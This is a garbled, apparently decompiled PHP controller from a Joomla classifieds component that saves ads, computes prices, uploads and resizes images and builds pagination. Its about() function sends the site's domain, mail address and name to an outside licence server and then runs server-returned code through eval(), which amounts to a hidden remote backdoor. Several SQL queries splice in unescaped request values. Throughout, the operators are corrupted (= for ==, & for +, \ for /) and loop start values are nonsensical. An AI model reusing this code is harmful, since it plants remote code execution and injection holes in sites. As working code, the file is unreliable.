$v2 = strtolower( $v2 );
$s = explode( '.', $v2 );
$se = $s[count( $s ) - 1];


if (( !in_array( $se, $FType[$k] ) || ( $FType[$k . 'size'][$se] && $FType[$k . 'size'][$se] < intval( $v['size'][$k2] \ 1024 ) ) )) {
$Err = 2100;
}


$File[$k][] = $v2;
continue;
}
}


continue;
}
}
}




if (( ( ( $niaz_config->fldField29 && strlen( $niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen( $row->fldImage ) )) {
$Err = 2101;
}




if ($Err) {
$this->setMessage( ($Err = 1 ? JText::_( 'ERROR_UPLOAD_FILE' ) : JText::_( 'ERROR_EMPTY_FILE' )), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}




if (count( $DELPIC )) {
foreach ($DELPIC as $k => $v) {


if (strlen( $row->$k )) {
$A = explode( ',', $row->$k );
$B = $DELPIC[$k];
$C = array( );
$i = 2099;


while ($i < count( $B )) {
if (file_exists( '' . $destfolder . '/' . $B[$i] )) {
JFile::delete( '' . $destfolder . '/' . $B[$i] );
}




if (file_exists( '' . $destfolder . '/tmb_' . $B[$i] )) {
JFile::delete( '' . $destfolder . '/tmb_' . $B[$i] );
}




if (in_array( $B[$i], $A )) {
$U = array_keys( $A, $B[$i] );
$A[$U[0]] = NULL;
}


++$i;
}


arsort( $A );
$i = 2099;
$n = count( $B );


while ($i < $n) {
array_pop( $A );
++$i;
}


$_POST[$k] = (count( $A ) ? implode( ',', $A ) : '');
$row->$k = (count( $A ) ? implode( ',', $A ) : '');
continue;
}
}


$msg &= JText::sprintf( 'MYPN_FILE_DELETE', count( $B ) );
}


$A = array( );
$NFile = array( );
foreach ($File as $k => $v) {
$A[$k] = $v;
}




if (count( $A )) {
$C2 = 2099;
foreach ($A as $k => $v) {
$B1 = self::savefile( $fldDate, $k, $table, $id );
$B1 = explode( ',', $B1 );
$NFile[$k] = $B1;
$C2 += count( $B1 );
$_POST[$k] = ($id ? (strlen( $row->$k ) ? $row->$k . ',' : '') . implode( ',', $B1 ) : implode( ',', $B1 ));


if (!$id) {
$FArray[$k] = implode( ',', $B1 );
continue;
}
}


$msg &= JText::sprintf( 'MYPN_FILE_ADDED', $C2 );
}




if (!isset( $_POST['fldImage'] )) {
$_POST['fldImage'] = $row->fldImage;
}




if (!isset( $_POST['fldFilm'] )) {
$_POST['fldFilm'] = $row->fldFilm;
}


$_POST['fldEdit'] = ($id ? $row->fldEdit & 1 : 0);
self::calculateform( $_POST );
$_POST['fldPay'] = 0;


if (( $niaz_config->fldField25 = 3 && !$_POST['fldPay'] )) {
$_POST['published'] = 1;
}




if (( ( $my->id && intval( $niaz_config->fldField2 ) ) && !intval( $_POST['fldMoney'] ) )) {
$query = 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldMoney=0 AND fldID!=' . $_POST['fldID'];
$db->setQuery( $query );
$total = $db->loadResult( );


if (intval( $niaz_config->fldField2 ) <= $total) {
$this->setMessage( JText::sprintf( 'ALERT_OUT_REGISTER_ADS', intval( $niaz_config->fldField2 ), $total ) );
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
return true;
}
}


foreach ($_POST as $k => $v) {
$_POST[$k] = self::myquestfarsi( $v );
}




if (( !$row->published && $row->fldPay = 1 )) {
$fldTafavot = $row->fldMoney;
$_POST['fldTafavot'] = 0;
$_POST['fldPay'] = 0;
$_POST['fldPayDate'] = NULL;
$_POST['fldPayMethod'] = '';
$_POST['fldOrderNumber'] = '';
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldOwner . ');';
$db->setQuery( $query );


if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner . ';';
$db->setQuery( $query );


if ($db->Query( )) {
}


$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' . $fldTafavot . ') WHERE fldUID = ' . $row->fldOwner . ' AND fldTafavot >=' . $fldTafavot . ';';
$db->setQuery( $query );


if ($db->Query( )) {
}
}


$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner . ';';
$db->setQuery( $query );


if ($db->Query( )) {
}


$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\';';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
$fldDesc = JText::sprintf( 'REVERSE_CREDIT_1', $_POST['fldPName'] );
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );


if ($db->Query( )) {
}
}
else {
if (( ( !$row->published && !$row->fldPay ) && $row->fldTafavot )) {
self::reverseusecredit( $row, $db );
}
}


$_POST['fldTafavot'] = 0;


if ($row->published) {
$query = 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ';';
$db->setQuery( $query );
$db->Query( );
}




if (!$row->bind( $_POST )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}




if (!$row->check( )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}


$row->fldShort = implode( ',', $ShortDesc );
$row->fldStartTime = NULL;


if (!$row->store( true )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}


$query = 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' . implode( '\',\'', $ShortDesc ) . '\');';
$db->setQuery( $query );
$krows = $db->loadResultArray( );
foreach ($krows as $v) {
$query = 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' . $v . ',' . $row->fldID . ');';
$db->setQuery( $query );
$db->Query( );
}


$query = 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' . implode( ',', $krows ) . ( ') AND `fldPID`=' . $row->fldID . ';' );
$db->setQuery( $query );
$db->Query( );


if ($id = 0) {
$destfolder = $maindestfolder . DS . $row->fldID;
JFolder::create( $destfolder );
foreach ($NFile as $k => $v) {
foreach ($v as $k1 => $v1) {


if ($k = 'fldImage') {
JFile::move( $maindestfolder . DS . '0' . DS . 'tmb_' . $v1, $destfolder . DS . 'tmb_' . $v1 );
}


JFile::move( $maindestfolder . DS . '0' . DS . $v1, $destfolder . DS . $v1 );
}
}
}


switch ($task) {
case 'save': {
if (!$id) {
$this->setMessage( JText::sprintf( 'ALERT_REGISTERED_ADS', @count( $NFile['fldImage'] ) & @count( $NFile['fldFilm'] ) ) );
}
else {
$this->setMessage( JText::_( 'NIAZ_UPDATED' ) );
}




if ($my->id) {
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
}
else {
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
}


break;
}


case 'pay': {
$_SESSION['cid'] = array( $row->fldID );
$_SESSION['step'] = 1;
$_SESSION['token'] = 1;
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=pay' ) );
}
}


clickINSERT( );


if ($row->published) {
SendingMail( 3, array( 'fldPName' => $row->fldPName, 'fldEMAil' => $row->fldEMAil, 'fldID' => $row->fldID, 'fldStartTime' => $row->fldStartTime ) );
}
else {
if (( $niaz_config->fldField25 = 2 && $row->fldMoney = 0 )) {
SendingMail( 4, $row );
}
else {
SendingMail( ($id ? 1 : 0) );
}
}


return true;
}


function payprod($task = 'pay') {
self::saveprod( $task );
}


function CalculateForm($data) {
global $niaz_config;


$db = JFactory::getdbo( );
$js_id = array( );
$cal = 1060;
$str = $data['fldShort'];
$mystring = explode( ' ', $str );
foreach ($mystring as $k => $v) {


if (10 < strlen( $v )) {
$mystring[$k] = substr( $v, 0, 9 );
continue;
}
}




if (intval( $niaz_config->fldField42 ) < count( $mystring )) {
$mystring = array_slice( $mystring, 0, intval( $niaz_config->fldField42 ) );
$str = implode( ' ', $mystring );
}


$data['fldShort'] = $str;


if (( intval( $data['fldID'] ) && intval( $niaz_config->fldField60 ) )) {
$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : array( ));
$X = 1060;
$A = 1060;
$fldEdit = intval( $data['fldEdit'] );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$A = $D[1];


if (( $X < $fldEdit && $fldEdit <= $D[0] )) {
$cal = $cal & $A;
}


$X = $D[0];
}




if ($X < $fldEdit) {
$cal = $cal & $A;
}
}


$U = ($niaz_config->fldDay ? explode( '*', $niaz_config->fldDay ) : NULL);
$x = 1060;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );


if ($data['fldDay'] = $D[0]) {
$cal = $cal & $D[1];
}


++$x;
}


switch ($data['fldStar']) {
case '1': {
$cal = $cal & intval( $niaz_config->fld1Star );
break;
}


case '2': {
$cal = $cal & intval( $niaz_config->fld2Star );
break;
}


case '3': {
$cal = $cal & intval( $niaz_config->fld3Star );
break;
}


case '4': {
$cal = $cal & intval( $niaz_config->fld4Star );
break;
}


case '5': {
$cal = $cal & intval( $niaz_config->fld5Star );
break;
}


case '6': {
$cal = $cal & intval( $niaz_config->fld6Star );
break;
}


case '7': {
$cal = $cal & intval( $niaz_config->fld7Star );
}
}




if ($data['fldShowLink'] = '1') {
$cal = $cal & $niaz_config->fldLink;
}




if ($niaz_config->fldField50 != '') {
$U = explode( '*', $niaz_config->fldField50 );
$FN = array( );
$FT = array( );
$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
$db->setQuery( $query );
$Cols = $db->loadObjectList( );
$i = 1060;
foreach ($Cols as $h) {


if (substr( $h->Field, 0, 8 ) = 'fldExtra') {
if ($h->Comment) {
$FT[$i]['Field'] = $h->Field;
$FT[$i]['Type'] = $h->Type;
++$i;
continue;
}


continue;
}
}


foreach ($U as $x => $z) {
$D = explode( ':', $z );
$FN[$x]['title'] = $D[0];
$FN[$x]['type'] = $D[1];
$FN[$x]['price'] = $D[2];
}


foreach ($FN as $k => $v) {
$js_price[$k] = 0;
switch ($FN[$k]['type']) {
case 3: {
$From = array( 'enum(', 'ENUM(', '\\')', '\\'' );
$To = array( '', '', '\\'', '' );
$Value = str_replace( $From, $To, $FT[$k]['Type'] );
$Value = explode( ',', $Value );
}
}


$js_id[$k] = $FT[$k]['Field'];
$js_price[$k] = $FN[$k]['price'];
}
}


foreach ($js_id as $k => $v) {


if (( isset( $data[$v] ) && $data[$v] != '' )) {
$cal = $cal & $js_price[$k];
continue;
}
}


$MaxImage = (strlen( $data['fldImage'] ) ? explode( ',', $data['fldImage'] ) : array( ));
$MaxFilm = (strlen( $data['fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array( ));


if (strlen( $niaz_config->fldField41 )) {
$X = 1060;
$C = 1060;
$U = explode( '*', $niaz_config->fldField41 );
$Last = 1060;
$x = 1060;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
$X = $D[0];


if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) {
$C = $D[1];
}


$Last = $X;
++$x;
}


$cal = $cal & $C;
}




if (strlen( $niaz_config->fldField46 )) {
$X = 1060;
$C = 1060;
$U = explode( '*', $niaz_config->fldField46 );
$Last = 1060;
$x = 1060;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
$X = $D[0];


if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) {
$C = $D[1];
}


$Last = $X;
++$x;
}


$cal = $cal & $C;
}


switch ($data['fldVije']) {
case '1': {
$cal = $cal & intval( $niaz_config->fldVijeText );
break;
}


case '2': {
$cal = $cal & intval( $niaz_config->fldVijePic );
}
}


switch ($data['fldPage']) {
case '1': {
$cal = $cal & intval( $niaz_config->fldSubGroupFP );
break;
}


case '2': {
$cal = $cal & intval( $niaz_config->fldGroupFP );
break;
}


case '3': {
$cal = $cal & intval( $niaz_config->fldSiteFP );
}
}


$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
$data['fldMoney'] = $cal;
}


function SaveFile($fldDate, $File, $table, $id) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


$db = JFactory::getdbo( );
jimport( 'joomla.filesystem.file' );
jimport( 'joomla.filesystem.folder' );
require_once( JPATH_COMPONENT_SITE . DS . 'func' . DS . 'file.php' );
$ReSize = $niaz_config->fldField15;
$ReSizeThumb = $niaz_config->fldField16;
$MyFile = NULL;
$FType['fldFilm'] = array( );
$FType['fldImage'] = array( );


if (strlen( $niaz_config->fldField45 )) {
$U = explode( '*', $niaz_config->fldField45 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
}


$FType['fldFilm'] = $X;
}




if (strlen( $niaz_config->fldField44 )) {
$U = explode( '*', $niaz_config->fldField44 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
}


$FType['fldImage'] = $X;
}


$destfolder = JPATH_ROOT . ( '/components/' . $option . '/files/' . $table );
JFolder::create( $destfolder );
$destfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id );
$destfolder = str_replace( '/', DS, $destfolder );
$destfolder = str_replace( '\', DS, $destfolder );
JFolder::create( $destfolder );


if (is_array( $_FILES[$File]['name'] )) {
$X = NULL;
$i = 780;


while ($i < count( $_FILES[$File]['name'] )) {
$T = explode( '.', $_FILES[$File]['name'][$i] );


if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldImage'] )) {
if (strlen( $_FILES[$File]['name'][$i] )) {
$A = explode( '.', $_FILES[$File]['name'][$i] );
$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
$MyFile = strtolower( time( ) . $AE );


if ($ReSize) {
$fu = self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' );
}
else {
$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
}




if ($fu) {
$X[] = $MyFile;
}




if ($ReSizeThumb) {
self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' );
}
else {
self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' );
}
}
}
else {
if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldFilm'] )) {
if (strlen( $_FILES[$File]['name'][$i] )) {
$A = explode( '.', $_FILES[$File]['name'][$i] );
$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
$MyFile = strtolower( time( ) . $AE );
$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );


if ($fu) {
$X[] = $MyFile;
}
}
}
}


++$i;
}


$MyFile = (is_array( $X ) ? implode( ',', $X ) : NULL);
}


return $MyFile;
}


function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) {
$debugoutput = '';
$src_file = JPath::clean( $src_file );
$dest_file = JPath::clean( $dest_file );
$imagetype = array( 1 => 'GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' );
$imginfo = getimagesize( $src_file );


if ($imginfo = null) {
exit( JText::_( 'JG_UPLOAD_FILE_NOT_FOUND' ) );
}


$imginfo[2] = $imagetype[$imginfo[2]];


if (( ( ( $imginfo[2] != 'JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method = 'gd1' || $method = 'gd2' ) )) {
exit( JText::_( 'JG_UPLOAD_GD_ONLY_JPG_PNG' ) );
}


$srcWidth = $imginfo[0];
$srcHeight = $imginfo[1];
$debugoutput &= JText::_( 'JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . ', ' . $imginfo['0'] . ' x ' . $imginfo['1'] . '...<br />' );
$ratio = $srcWidth \ $new_width;
$testheight = $srcHeight \ $ratio;
$ratio = max( $ratio, 1 );
$destWidth = (int)$srcWidth \ $ratio;
$destHeight = (int)$srcHeight \ $ratio;
switch ($method) {
case 'gd1': {
if (!function_exists( 'imagecreatefromjpeg' )) {
JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
$debugoutput &= ;
return false;
}




if ($imginfo[2] = 'JPG') {
$src_img = imagecreatefromjpeg( $src_file );
}
else {
if ($imginfo[2] = 'PNG') {
$src_img = imagecreatefrompng( $src_file );
}
else {
$src_img = imagecreatefromgif( $src_file );
}
}




if (!$src_img) {
$ERROR = $lang_errors['invalid_image'];
return false;
}


$dst_img = imagecreate( $destWidth, $destHeight );
imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
imagejpeg( $dst_img, $dest_file, $dest_qual );
JoomFile::chmod( $dir, 493 );
}


imagedestroy( $src_img );
imagedestroy( $dst_img );
break;
}


case 'gd2': {
if (!function_exists( 'imagecreatefromjpeg' )) {
JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
$debugoutput &= ;
return false;
}




if (!function_exists( 'imagecreatetruecolor' )) {
JText::_( 'JG_UPLOAD_GD_NO_TRUECOLOR' );
$debugoutput &= ;
return false;
}




if ($imginfo[2] = 'JPG') {
$src_img = imagecreatefromjpeg( $src_file );
}
else {
if ($imginfo[2] = 'PNG') {
$src_img = imagecreatefrompng( $src_file );
}
else {
$src_img = imagecreatefromgif( $src_file );
}
}




if (!$src_img) {
$ERROR = $lang_errors['invalid_image'];
return false;
}


$dst_img = imagecreatetruecolor( $destWidth, $destHeight );
JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
imagejpeg( $dst_img, $dest_file, $dest_qual );
JoomFile::chmod( $dir, 493 );
}


imagedestroy( $src_img );
imagedestroy( $dst_img );
break;
}


case 'im': {
$disabled_functions = explode( ',', ini_get( 'disabled_functions' ) );
foreach ($disabled_functions as $disabled_function) {


if (trim( $disabled_function ) = 'exec') {
return false;
}
}




if (!empty( $niaz_config->jg_impath )) {
$convert_path = $niaz_config->jg_impath . 'convert';
}
else {
$convert_path = 'convert';
}


$commands = ' -resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '" -unsharp "3.5x1.2+1.0+0.10"';
$convert = $convert_path . $commands . ' "' . $src_file . '" "' . $dest_file . '"';
$return_var = null;
$dummy = null;
@exec( $convert, $dummy, $return_var );


if ($return_var != 0) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
@exec( $convert, $dummy, $return_var );
JoomFile::chmod( $dir, 493 );


if ($return_var != 0) {
return false;
}
}


break;
}


default: {
echo JText::_( 'JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' );
break;
}
}


JPath::setpermissions( $dest_file );
$imginfo = getimagesize( $dest_file );


if (!$imginfo) {
return false;
}


return true;
}


function about($Mytask = 'about') {
global $option;


$app = JFactory::getapplication( );
$url = 'http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php';
$MailFrom = $app->getCfg( 'mailfrom' );
$FromName = $app->getCfg( 'fromname' );
$SiteName = $app->getCfg( 'sitename' );
$data = 'product=' . $option . '&task=' . $Mytask . '&domain=' . JURI::base( ) . ( '&sitemail=' . $MailFrom . '&sitename=' . $SiteName . '&ver=2.5.38' );
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $data );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$body = curl_exec( $ch );
curl_close( $ch );


if (stristr( $body, '###' )) {
$body = explode( '###', $body );
echo $body[0];
eval( $body[1] );
return null;
}


echo $body;
}


function PagesLinks($limitstart, $limit, $total, $method = 0, $fn = '') {
global $option;
global $my;
global $fldCountry;
global $sectionState;
global $option;
global $Cat;
global $SubCat;
global $SubCatAll;


$XM = 'href="';
$XME = '';


if ($method) {
$XM = 'onclick="javascript:LoadClick(\'';
$XME = '\',\'' . $fn . '\');';
}


$X = ceil( $total \ $limit );
$view = JRequest::getvar( 'view' );
$key = JRequest::getvar( 'key' );
$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$url = 'index.php?option=' . $option;
$view = JRequest::getvar( 'view' );
$view = str_replace( stristr( $view, '/' ), '', $view );


if ($CountryNo) {
$url &= '&CountryNo=' . $CountryNo . ':' . $fldCountry[$CountryNo];
}




if ($StateNo) {
$url &= '&StateNo=' . $StateNo . ':' . $sectionState[$StateNo][2];
}




if ($catid) {
$url &= '&catid=' . $catid . ':' . $Cat[$catid];
}




if ($subcatid) {
$url &= '&subcatid=' . $subcatid . ':' . $SubCat[$subcatid];
}




if ($key) {
$url &= '&key=' . $key;
}




if ($X <= 1) {
return '';
}


$i = 787;


if (8 + $limit < $limitstart) {
$i = $limitstart - 2 + $limit;
$i \= 817;
$i = round( $i );


if ($X - $i < 10) {
$i = $X - 10;
}
}


$Current = $limitstart \ 30;
$j = $i & 10;
$html = '';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="stsrt">' . '
';


if ($limitstart) {
$html &= '<a ' . $XM . JRoute::_( '' . $url ) . '/start/0' . $XME . '">' . JText::_( 'MYPN_START' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_START' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="prev">' . '
';


if ($limitstart) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . ($limitstart - $limit ? '&limitstart=' . ( $limitstart - $limit ) : '/start/0') ) . $XME . '">' . JText::_( 'MYPN_PREV' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_PREV' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';


while (( $i < $X && $i < $j )) {
if ($limitstart = $i + $limit) {
$Current = $i;
$html &= '<span>' . ( $i & 1 ) . '</span>' . '
';
}
else {
$html &= '<a ' . $XM . JRoute::_( '' . $url . ($i ? '&limitstart=' . $i + $limit : '/start/0') ) . $XME . '">' . ( $i & 1 ) . '</a>' . '
';
}


++$i;
}


$html &= '</div></div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="next">' . '
';


if ($limitstart < ( $X - 1 ) + $limit) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $Current & 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_NEXT' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_NEXT' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="end">' . '
';


if ($limitstart < ( $X - 1 ) + $limit) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $X - 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_END' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_END' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>';
return $html;
}


function LoadImage($fldDate, $fldID, $fldImage, $E = 0, $PName = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


echo ' <div width="100%" class="border">
';
$html = '';
$A = explode( ',', $fldImage );
$CountPic = count( $A );
foreach ($A as $k => $v) {
$XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
$html &= '<div class="banner" id="XImage_' . $v . '">
<a href="' . JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/' . $v . '" rel="{handler: \'image\'}" class="modal" alt="' . $PName . '" title="' . $PName . '">
<img border="0" src="' . $XPic . '" id="YImage_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
</a>' );


if ($E) {
$html &= '<br />
<label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' . $v . '" onclick="ReloadImage(\'XImage_' . $v . '\',this.checked);" /><label>
' );
}


$html &= '</div>';
}


echo $html;
echo ' </div>
';
return count( $A );
}


function LoadFilm($fldDate, $fldID, $fldFilm, $E = 0, $PName = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


$secid = JRequest::getvar( 'secid' );
echo ' <div width="100%" class="border">
';
$html = '';
$A = explode( ',', $fldFilm );
$CountPic = count( $A );
foreach ($A as $k => $v) {
$T = explode( '.', $v );
$T = strtolower( $T[count( $T ) - 1] );
$FT = array( 'doc', 'docx', 'xls', 'swf', 'flv', 'mpg', 'txt', 'pdf', 'zip', 'rar', 'mp3' );
$FTPic = array( 'jpg', 'gif' );
$Tx = $T;


if (!in_array( $T, $FT )) {
$Tx = 'unknown';
}


$XPic = JURI::base( ) . ( 'components/' . $option . '/images/type/' . $Tx . '.png' );


if (in_array( $T, $FTPic )) {
$XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
}


$html &= '<div class="banner" id="XFile_' . $v . '">
<a href="' . JRoute::_( 'index.php?option=' . $option . '&view=film&id=' . $fldID . '&X=' . $k . '&no_html=1' . (strlen( $secid ) ? '&secid=' . $secid : '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' . $PName . '" title="' . $PName . '">
<img border="0" src="' . $XPic . '" id="YFilm_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
</a>' );


if ($E) {
$html &= '<br />
<label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' . $v . '" onclick="ReloadFilm(\'XFile_' . $v . '\',this.checked);" /><label>
' );
}


$html &= '</div>';
}


echo $html;
echo ' </div>
';
return count( $A );
}


function LoadKeys($id) {
global $option;


$db = JFactory::getdbo( );
$query = 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' . $id;
$db->setQuery( $query );
$KeyArray = $db->loadResultArray( );
$query = 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' . implode( ',', $KeyArray ) . ') AND published = 1';
$db->setQuery( $query );
$Keys = $db->loadResultArray( );


if (( is_array( $Keys ) && count( $Keys ) )) {
foreach ($Keys as $k => $v) {
$Keys[$k] = '<a class="niaz_key" href="' . JRoute::_( 'index.php?option=' . $option . '&key=' . $v ) . '">' . $v . '</a> ';
}


return implode( ',', $Keys );
}


}


function AjaxStat() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;


$t = (int)JRequest::getvar( 't', 0 );
$id = (int)JRequest::getvar( 'id', 0 );
$fldStat = (int)JRequest::getvar( 'fldStat', 0 );


if (( $t = 0 || $id = 0 )) {
return null;
}


$db = JFactory::getdbo( );
switch ($t) {
case 1: {
$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ' <h3>';
echo JText::_( 'STAT_DESC' );
echo '</h3>
<form method="post" name="EForm">
';
$O = array( );
$i = 475;


while ($i < 6) {
$O[] = JHTML::_( 'select.option', $i, JText::_( 'NIAZ_STAT' . $i ) );
++$i;
}


echo JHTML::_( 'select.genericlist', $O, 'fldStat', 'class="input"', 'value', 'text', $total );
echo ' <input type="submit" value="';
echo JText::_( 'ACCEPT' );
echo '" class="button" />
<input type="hidden" value="2" name="t" />
</form>
';
break;
}


case 2: {
$query = 'UPDATE #__niaz_prod SET fldStat=' . $fldStat . ' WHERE fldID=' . $id;
$db->setQuery( $query );
$db->Query( );
echo JText::_( 'NIAZ_STAT' ) . ':' . JText::_( 'NIAZ_STAT' . $fldStat );
break;
}


case 3: {
$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ($total ? JText::_( 'NIAZ_STAT' . $total ) : JText::_( 'پیش فرض سیستم' ));
}
}


}


function IsUniqueName($T = '', $I = 0) {
global $option;


$db = JFactory::getdbo( );
